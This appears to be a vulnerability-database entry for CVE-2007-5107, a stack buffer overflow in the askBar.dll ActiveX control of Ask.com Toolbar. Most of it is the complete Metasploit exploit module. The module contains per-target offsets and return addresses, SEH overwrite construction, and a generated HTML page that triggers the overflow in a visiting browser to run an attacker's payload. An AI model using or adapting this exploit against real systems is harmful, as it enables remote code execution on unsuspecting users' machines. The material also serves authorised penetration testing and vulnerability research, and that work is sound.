Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow

2007-09-2502:02:56

MC <[email protected]>

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

JSON

This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53. An attacker may be able to execute arbitrary code by sending an overly long string to the “ShortFormat()” method in askbar.dll.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.
        An attacker may be able to execute arbitrary code by sending an overly
        long string to the "ShortFormat()" method in askbar.dll.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5107' ],
          [ 'OSVDB', '37735' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
          [ 'Windows 2000 Pro English ALL',       { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
        ],
      'DisclosureDate' => '2007-09-24',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    filler = rand_text_alpha(target['Offset'])
    seh = generate_seh_payload(target.ret)
    sploit = filler + seh + rand_text_alpha(payload.encoded.length)

    # Build out the message
    content = %Q|<html>
<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}');
#{vname}.ShortFormat = #{strname}
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end